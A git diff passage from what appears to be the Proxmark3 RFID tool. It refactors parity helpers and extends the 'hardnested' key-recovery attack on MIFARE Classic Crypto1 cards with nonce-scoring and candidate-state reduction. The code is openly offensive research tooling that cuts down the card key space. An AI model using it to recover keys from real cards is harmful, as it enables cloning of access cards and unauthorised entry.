iLen, uint8_t *par) { uint16_t paritybit_cnt = 0; @@ -192,7 +168,7 @@ void GetParity(const uint8_t *pbtCmd, uint16_t iLen, uint8_t *par) for (uint16_t i = 0; i < iLen; i++) { // Generate the parity bits - parityBits |= ((OddByteParity[pbtCmd[i]]) << (7-paritybit_cnt)); + parityBits |= ((oddparity8(pbtCmd[i])) << (7-paritybit_cnt)); if (paritybit_cnt == 7) { par[paritybyte_cnt] = parityBits; // save 8 Bits parity parityBits = 0; // and advance to next Parity Byte diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 1652c5a3..8af30500 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -70,8 +70,6 @@ typedef struct { } tUart; - -extern byte_t oddparity (const byte_t bt); extern void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); extern void AppendCrc14443a(uint8_t *data, int len); diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 2f41ab7d..d48b0b60 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -17,6 +17,7 @@ #include "apps.h" #include "util.h" #include "crc.h" +#include "parity.h" // the block number for the ISO14443-4 PCB uint8_t pcb_blocknum = 0; @@ -595,9 +596,9 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain){ // Return 1 if the nonce is invalid else return 0 int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) { - return ((oddparity((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ - (oddparity((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ - (oddparity((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; + return ((oddparity8((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ + (oddparity8((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ + (oddparity8((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; } @@ -902,7 +903,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t calibrate, uint8_t *dat // Parity validity check for (j = 0; j < 4; j++) { - par_array[j] = (oddparity(receivedAnswer[j]) != ((par[0] >> (7-j)) & 0x01)); + par_array[j] = (oddparity8(receivedAnswer[j]) != ((par[0] >> (7-j)) & 0x01)); } ncount = 0; diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 8ef364c2..97c95696 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -18,6 +18,7 @@ #include "iso14443a.h" #include "crapto1.h" #include "mifareutil.h" +#include "parity.h" #include "des.h" int MF_DBGLEVEL = MF_DBG_ALL; @@ -50,7 +51,7 @@ void mf_crypto1_encrypt(struct Crypto1State *pcs, uint8_t *data, uint16_t len, u data[i] = crypto1_byte(pcs, 0x00, 0) ^ data[i]; if((i&0x0007) == 0) par[i>>3] = 0; - par[i>>3] |= (((filter(pcs->odd) ^ oddparity(bt)) & 0x01)<<(7-(i&0x0007))); + par[i>>3] |= (((filter(pcs->odd) ^ oddparity8(bt)) & 0x01)<<(7-(i&0x0007))); } return; } @@ -99,7 +100,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, for (pos = 0; pos < 4; pos++) { ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; - par[0] |= (((filter(pcs->odd) ^ oddparity(dcmd[pos])) & 0x01) << (7-pos)); + par[0] |= (((filter(pcs->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7-pos)); } ReaderTransmitPar(ecmd, sizeof(ecmd), par, timing); @@ -193,7 +194,7 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN for (pos = 0; pos < 4; pos++) { mf_nr_ar[pos] = crypto1_byte(pcs, nr[pos], 0) ^ nr[pos]; - par[0] |= (((filter(pcs->odd) ^ oddparity(nr[pos])) & 0x01) << (7-pos)); + par[0] |= (((filter(pcs->odd) ^ oddparity8(nr[pos])) & 0x01) << (7-pos)); } // Skip 32 bits in pseudo random generator @@ -204,7 +205,7 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN { nt = prng_successor(nt,8); mf_nr_ar[pos] = crypto1_byte(pcs,0x00,0) ^ (nt & 0xff); - par[0] |= (((filter(pcs->odd) ^ oddparity(nt & 0xff)) & 0x01) << (7-pos)); + par[0] |= (((filter(pcs->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7-pos)); } // Transmit reader nonce and reader answer @@ -427,7 +428,7 @@ int mifare_classic_writeblock(struct Crypto1State *pcs, uint32_t uid, uint8_t bl for (pos = 0; pos < 18; pos++) { d_block_enc[pos] = crypto1_byte(pcs, 0x00, 0) ^ d_block[pos]; - par[pos>>3] |= (((filter(pcs->odd) ^ oddparity(d_block[pos])) & 0x01) << (7 - (pos&0x0007))); + par[pos>>3] |= (((filter(pcs->odd) ^ oddparity8(d_block[pos])) & 0x01) << (7 - (pos&0x0007))); } ReaderTransmitPar(d_block_enc, sizeof(d_block_enc), par, NULL); diff --git a/client/Makefile b/client/Makefile index e5e0f79a..91e595dc 100644 --- a/client/Makefile +++ b/client/Makefile @@ -66,6 +66,7 @@ CMDSRCS = nonce2key/crapto1.c\ loclass/elite_crack.c\ loclass/fileutils.c\ mifarehost.c\ + parity.c\ crc.c \ crc16.c \ crc64.c \ diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index b16f181c..8348e159 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -793,14 +793,16 @@ int CmdHF14AMfNestedHard(const char *Cmd) uint8_t trgBlockNo = 0; uint8_t trgKeyType = 0; uint8_t key[6] = {0, 0, 0, 0, 0, 0}; + uint8_t trgkey[6] = {0, 0, 0, 0, 0, 0}; char ctmp; ctmp = param_getchar(Cmd, 0); + if (ctmp != 'R' && ctmp != 'r' && strlen(Cmd) < 20) { PrintAndLog("Usage:"); PrintAndLog(" hf mf hardnested "); - PrintAndLog(" [w] [s]"); - PrintAndLog(" or hf mf hardnested r"); + PrintAndLog(" [known target key (12 hex symbols)] [w] [s]"); + PrintAndLog(" or hf mf hardnested r [known target key]"); PrintAndLog(" "); PrintAndLog("Options: "); PrintAndLog(" w: Acquire nonces and write them to binary file nonces.bin"); @@ -811,17 +813,22 @@ int CmdHF14AMfNestedHard(const char *Cmd) PrintAndLog(" sample2: hf mf hardnested 0 A FFFFFFFFFFFF 4 A w"); PrintAndLog(" sample3: hf mf hardnested 0 A FFFFFFFFFFFF 4 A w s"); PrintAndLog(" sample4: hf mf hardnested r"); - + PrintAndLog(" "); + PrintAndLog("Add the known target key to check if it is present in the remaining key space:"); + PrintAndLog(" sample5: hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); return 0; } + bool know_target_key = false; bool nonce_file_read = false; bool nonce_file_write = false; bool slow = false; if (ctmp == 'R' || ctmp == 'r') { - nonce_file_read = true; + if (!param_gethex(Cmd, 1, trgkey, 12)) { + know_target_key = true; + } } else { @@ -851,6 +858,12 @@ int CmdHF14AMfNestedHard(const char *Cmd) } uint16_t i = 5; + + if (!param_gethex(Cmd, 5, trgkey, 12)) { + know_target_key = true; + i++; + } + while ((ctmp = param_getchar(Cmd, i))) { if (ctmp == 's' || ctmp == 'S') { slow = true; @@ -864,12 +877,16 @@ int CmdHF14AMfNestedHard(const char *Cmd) } } - PrintAndLog("--target block no:%3d, target key type:%c, file action: %s, Slow: %s ", + PrintAndLog("--target block no:%3d, target key type:%c, known target key: 0x%02x%02x%02x%02x%02x%02x%s, file action: %s, Slow: %s ", trgBlockNo, - trgKeyType?'B':'A', + trgKeyType?'B':'A', + trgkey[0], trgkey[1], trgkey[2], trgkey[3], trgkey[4], trgkey[5], + know_target_key?"":" (not set)", nonce_file_write?"write":nonce_file_read?"read":"none", slow?"Yes":"No"); - int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_read, nonce_file_write, slow); + + int16_t isOK = mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType, know_target_key?trgkey:NULL, nonce_file_read, nonce_file_write, slow); + if (isOK) { switch (isOK) { case 1 : PrintAndLog("Error: No response from Proxmark.\n"); break; diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index 6cd5a5b9..a6a551ff 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -24,12 +24,13 @@ #include "ui.h" #include "util.h" #include "nonce2key/crapto1.h" +#include "parity.h" // uint32_t test_state_odd = 0; // uint32_t test_state_even = 0; -#define CONFIDENCE_THRESHOLD 0.99 // Collect nonces until we are certain enough that the following brute force is successfull -#define GOOD_BYTES_REQUIRED 25 +#define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull +#define GOOD_BYTES_REQUIRED 60 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K @@ -90,8 +91,10 @@ static noncelist_t nonces[256]; static uint16_t first_byte_Sum = 0; static uint16_t first_byte_num = 0; static uint16_t num_good_first_bytes = 0; +static uint64_t maximum_states = 0; +static uint64_t known_target_key; -#define MAX_BEST_BYTES 40 +#define MAX_BEST_BYTES 256 static uint8_t best_first_bytes[MAX_BEST_BYTES]; @@ -116,10 +119,10 @@ typedef struct { } statelist_t; -partial_indexed_statelist_t partial_statelist[17]; -partial_indexed_statelist_t statelist_bitflip; +static partial_indexed_statelist_t partial_statelist[17]; +static partial_indexed_statelist_t statelist_bitflip; -statelist_t *candidates = NULL; +static statelist_t *candidates = NULL; static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) @@ -130,12 +133,12 @@ static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) if (p1 == NULL) { // first nonce with this 1st byte first_byte_num++; - first_byte_Sum += parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1 + first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08)); // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", // nonce_enc, // par_enc, // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, - // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01)); + // parity((nonce_enc & 0xff000000) | (par_enc & 0x08)); } while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { @@ -165,7 +168,7 @@ static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) p2->par_enc = par_enc; nonces[first_byte].num++; - nonces[first_byte].Sum += parity((nonce_enc & 0x00ff0000) | (par_enc & 0x04) | 0x01); // 2nd byte sum property. Note: added XOR 1 + nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04)); nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte return (1); // new nonce added @@ -183,6 +186,7 @@ static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even) part_sum ^= filter(st); st = (st << 1) | ((j >> (3-i)) & 0x01) ; } + part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits } else { for (uint16_t i = 0; i < 4; i++) { st = (st << 1) | ((j >> (3-i)) & 0x01) ; @@ -273,8 +277,8 @@ static void Tests() } // #define NUM_STATISTICS 100000 - // uint64_t statistics[257]; // uint32_t statistics_odd[17]; + // uint64_t statistics[257]; // uint32_t statistics_even[17]; // struct Crypto1State cs; // time_t time1 = clock(); @@ -363,16 +367,28 @@ static void Tests() best_first_bytes[0], SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); - // test_state_odd = pcs->odd & 0x00ffffff; - // test_state_even = pcs->even & 0x00ffffff; + //test_state_odd = pcs->odd & 0x00ffffff; + //test_state_even = pcs->even & 0x00ffffff; + crypto1_destroy(pcs); + pcs = crypto1_create(0xa6b9aa97b955); + printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + //test_state_odd = pcs->odd & 0x00ffffff; + //test_state_even = pcs->even & 0x00ffffff; crypto1_destroy(pcs); + printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20)); printf("\nTests: Actual BitFlipProperties odd/even:\n"); for (uint16_t i = 0; i < 256; i++) { - printf("[%3d]:%c%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':' ', nonces[i].BitFlip[EVEN_STATE]?'e':' '); + printf("[%02x]:%c%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':' ', nonces[i].BitFlip[EVEN_STATE]?'e':' '); if (i % 8 == 7) { printf("\n"); } @@ -385,42 +401,46 @@ static void Tests() uint16_t best_sum = nonces[best_byte].Sum; uint16_t best_sum8 = nonces[best_byte].Sum8_guess; float confidence = nonces[best_byte].Sum8_prob; - printf("Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%\n", best_byte, best_num, best_sum, best_sum8, confidence*100); + printf("#%03d Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%\n", i, best_byte, best_num, best_sum, best_sum8, confidence*100); } + + // printf("\nTests: parity performance\n"); + // time_t time1p = clock(); + // uint32_t par_sum = 0; + // for (uint32_t i = 0; i < 100000000; i++) { + // par_sum += parity(i); + // } + // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC); + + // time1p = clock(); + // par_sum = 0; + // for (uint32_t i = 0; i < 100000000; i++) { + // par_sum += evenparity32(i); + // } + // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC); + +} + + +static int common_bits(uint8_t byte1, uint8_t byte2) +{ + uint8_t common_bits = byte1 ^ byte2; + uint8_t j = 0; + while ((common_bits & 0x01) == 0 && j < 8) { + j++; + common_bits >>= 1; + } + return j; } static void sort_best_first_bytes(void) { - // find the best choice for the very first byte (b) - float min_p_K = 1.0; - float max_prob_min_p_K = 0.0; - uint8_t best_byte = 0; + // first, sort based on probability for correct guess for (uint16_t i = 0; i < 256; i++ ) { + uint16_t j = 0; float prob1 = nonces[i].Sum8_prob; - uint16_t sum8 = nonces[i].Sum8_guess; - if (p_K[sum8] <= min_p_K && prob1 > CONFIDENCE_THRESHOLD) { - if (p_K[sum8] < min_p_K) { - min_p_K = p_K[sum8]; - best_byte = i; - max_prob_min_p_K = prob1; - } else if (prob1 > max_prob_min_p_K) { - max_prob_min_p_K = prob1; - best_byte = i; - } - } - } - best_first_bytes[0] = best_byte; - // printf("Best Byte = 0x%02x, Sum8=%d, prob=%1.3f\n", best_byte, nonces[best_byte].Sum8_guess, nonces[best_byte].Sum8_prob); - - // sort the most probable guesses as following bytes (b') - for (uint16_t i = 0; i < 256; i++ ) { - if (i == best_first_bytes[0]) { - continue; - } - uint16_t j = 1; - float prob1 = nonces[i].Sum8_prob; - float prob2 = nonces[best_first_bytes[1]].Sum8_prob; + float prob2 = nonces[best_first_bytes[0]].Sum8_prob; while (prob1 < prob2 && j < MAX_BEST_BYTES-1) { prob2 = nonces[best_first_bytes[++j]].Sum8_prob; } @@ -431,9 +451,73 @@ static void sort_best_first_bytes(void) best_first_bytes[j] = i; } } + + // determine, how many are above the CONFIDENCE_THRESHOLD + uint16_t num_good_nonces = 0; + for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + if (nonces[best_first_bytes[i]].Sum8_prob > CONFIDENCE_THRESHOLD) { + ++num_good_nonces; + } + } + + uint16_t best_first_byte = 0; + + // select the best possible first byte based on number of common bits with all {b'} + // uint16_t max_common_bits = 0; + // for (uint16_t i = 0; i < num_good_nonces; i++) { + // uint16_t sum_common_bits = 0; + // for (uint16_t j = 0; j < num_good_nonces; j++) { + // if (i != j) { + // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]); + // } + // } + // if (sum_common_bits > max_common_bits) { + // max_common_bits = sum_common_bits; + // best_first_byte = i; + // } + // } + + // select best possible first byte {b} based on least likely sum/bitflip property + float min_p_K = 1.0; + for (uint16_t i = 0; i < num_good_nonces; i++ ) { + uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess; + float bitflip_prob = 1.0; + if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) { + bitflip_prob = 0.09375; + } + if (p_K[sum8] * bitflip_prob <= min_p_K) { + min_p_K = p_K[sum8] * bitflip_prob; + best_first_byte = i; + } + } + + // use number of commmon bits as a tie breaker + uint16_t max_common_bits = 0; + for (uint16_t i = 0; i < num_good_nonces; i++) { + float bitflip_prob = 1.0; + if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) { + bitflip_prob = 0.09375; + } + if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) { + uint16_t sum_common_bits = 0; + for (uint16_t j = 0; j < num_good_nonces; j++) { + sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]); + } + if (sum_common_bits > max_common_bits) { + max_common_bits = sum_common_bits; + best_first_byte = i; + } + } + } + + // swap best possible first bytes to the pole position + uint16_t temp = best_first_bytes[0]; + best_first_bytes[0] = best_first_bytes[best_first_byte]; + best_first_bytes[best_first_byte] = temp; + } - - + + static uint16_t estimate_second_byte_sum(void) { for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { @@ -512,7 +596,7 @@ static int read_nonce_file(void) } -int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) +static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) { clock_t time1 = clock(); bool initialize = true; @@ -617,10 +701,10 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ fclose(fnonces); } - PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)", + PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)", total_num_nonces, ((float)clock()-time1)/CLOCKS_PER_SEC, - total_num_nonces*60*CLOCKS_PER_SEC/(clock()-time1)); + total_num_nonces*60.0*CLOCKS_PER_SEC/((float)clock()-time1)); return 0; } @@ -628,7 +712,7 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ static int init_partial_statelists(void) { - const uint32_t sizes_odd[17] = { 125601, 0, 17607, 0, 73421, 0, 182033, 0, 248801, 0, 181737, 0, 74241, 0, 18387, 0, 126757 }; + const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 }; const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 }; printf("Allocating memory for partial statelists...\n"); @@ -712,7 +796,7 @@ static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) } -uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even) +static uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even) { uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index @@ -738,7 +822,7 @@ static bool remaining_bits_match(uint8_t num_common_bits, uint8_t byte1, uint8_t uint32_t bit_diff = ((byte1 ^ byte2) << (17-j)) & 0x00010000; // difference of (j-1)th bit -> bit 16 uint32_t filter_diff = filter(state1 >> (4-j/2)) ^ filter(state2 >> (4-j/2)); // difference in filter function -> bit 0 uint32_t mask_y12_y13 = 0x000000c0 >> (j/2); - uint32_t state_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 -> bits 6/7 ... 4/5 + uint32_t state_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 -> bits 6/7 ... 3/4 uint32_t all_diff = parity(bit_diff | state_diff | filter_diff); // use parity function to XOR all 4 bits if (all_diff) { // invariant doesn't hold any more. Accept this state. // if ((odd_even == ODD_STATE && state1 == test_state_odd) @@ -843,11 +927,84 @@ static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even) return false; } } - + return true; } +static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even) +{ + for (uint16_t i = 0; i < 256; i++) { + if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) { + uint8_t j = 0; // number of common bits + uint8_t common_bits = best_first_bytes[0] ^ i; + uint32_t mask = 0xfffffff0; + if (odd_even == ODD_STATE) { + while ((common_bits & 0x01) == 0 && j < 8) { + j++; + common_bits >>= 1; + if (j % 2 == 0) { // the odd bits + mask >>= 1; + } + } + } else { + while ((common_bits & 0x01) == 0 && j < 8) { + j++; + common_bits >>= 1; + if (j % 2 == 1) { // the even bits + mask >>= 1; + } + } + } + mask &= 0x000fffff; + //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8); + bool found_match = false; + uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0); + if (p != NULL) { + while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) { + if (remaining_bits_match(j, best_first_bytes[0], i, state, (state&0x00fffff0) | *p, odd_even)) { + found_match = true; + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + break; + } else { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + } + p++; + } + } else { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n", + // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8); + // } + } + if (!found_match) { + // if ((odd_even == ODD_STATE && state == test_state_odd) + // || (odd_even == EVEN_STATE && state == test_state_even)) { + // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j); + // } + return false; + } + } + + } + + return true; +} + + +#define INVALID_BIT (1<<30) +#define SET_INVALID(pstate) (*(pstate) |= INVALID_BIT) +#define IS_INVALID(state) (state & INVALID_BIT) + static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) { uint32_t worstcase_size = 1<<20; @@ -863,15 +1020,20 @@ static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, ui if (p2 != NULL) { while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) { if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) { - add_state(candidates, (*p1 << 4) | *p2, odd_even); + if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + } } p2++; } } - p2 = candidates->states[odd_even]; - p2 += candidates->len[odd_even]; - *p2 = 0xffffffff; } + + // set end of list marker + uint32_t *p = candidates->states[odd_even]; + p += candidates->len[odd_even]; + *p = 0xffffffff; + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); return 0; @@ -906,22 +1068,39 @@ static void TestIfKeyExists(uint64_t key) uint32_t state_odd = pcs->odd & 0x00ffffff; uint32_t state_even = pcs->even & 0x00ffffff; - printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even); + //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even); + uint64_t count = 0; for (statelist_t *p = candidates; p != NULL; p = p->next) { + bool found_odd = false; + bool found_even = false; uint32_t *p_odd = p->states[ODD_STATE]; uint32_t *p_even = p->states[EVEN_STATE]; while (*p_odd != 0xffffffff) { - if (*p_odd == state_odd) printf("o"); + if ((*p_odd & 0x00ffffff) == state_odd) { + found_odd = true; + break; + } p_odd++; } while (*p_even != 0xffffffff) { - if (*p_even == state_even) printf("e"); + if ((*p_even & 0x00ffffff) == state_even) { + found_even = true; + } p_even++; } - printf("|"); + count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]); + if (found_odd && found_even) { + PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.", + count, log(count)/log(2), + maximum_states, log(maximum_states)/log(2), + (count>>22)/60); + crypto1_destroy(pcs); + return; + } } - printf("\n"); + + printf("Key NOT found!\n"); crypto1_destroy(pcs); } @@ -932,7 +1111,7 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) statelist_t *current_candidates = NULL; // estimate maximum candidate states - uint64_t maximum_states = 0; + maximum_states = 0; for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) { for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) { if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) { @@ -969,9 +1148,6 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) } printf("Number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); - TestIfKeyExists(0xffffffffffff); - TestIfKeyExists(0xa0a1a2a3a4a5); - } @@ -998,8 +1174,28 @@ static void Check_for_FilterFlipProperties(void) } -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +static void brute_force(void) { + if (known_target_key != -1) { + PrintAndLog("Looking for known target key in remaining key space..."); + TestIfKeyExists(known_target_key); + return; + } else { + PrintAndLog("Brute Force phase is not implemented."); + return; + } + + +} + + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow) +{ + if (trgkey != NULL) { + known_target_key = bytes_to_num(trgkey, 6); + } else { + known_target_key = -1; + } // initialize the list of nonces for (uint16_t i = 0; i < 256; i++) { @@ -1013,7 +1209,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc first_byte_num = 0; first_byte_Sum = 0; num_good_first_bytes = 0; - + init_partial_statelists(); init_BitFlip_statelist(); @@ -1021,7 +1217,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc if (read_nonce_file() != 0) { return 3; } - num_good_first_bytes = estimate_second_byte_sum(); + num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED); } else { // acquire nonces. uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); if (is_OK != 0) { @@ -1050,7 +1246,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); - PrintAndLog("Brute force phase not yet implemented"); + brute_force(); return 0; } diff --git a/client/cmdhfmfhard.h b/client/cmdhfmfhard.h index 94c57717..024ad2be 100644 --- a/client/cmdhfmfhard.h +++ b/client/cmdhfmfhard.h @@ -8,4 +8,4 @@ // hf mf hardnested command //----------------------------------------------------------------------------- -int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow); +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow); diff --git a/common/parity.c b/common/parity.c new file mode 100644 index 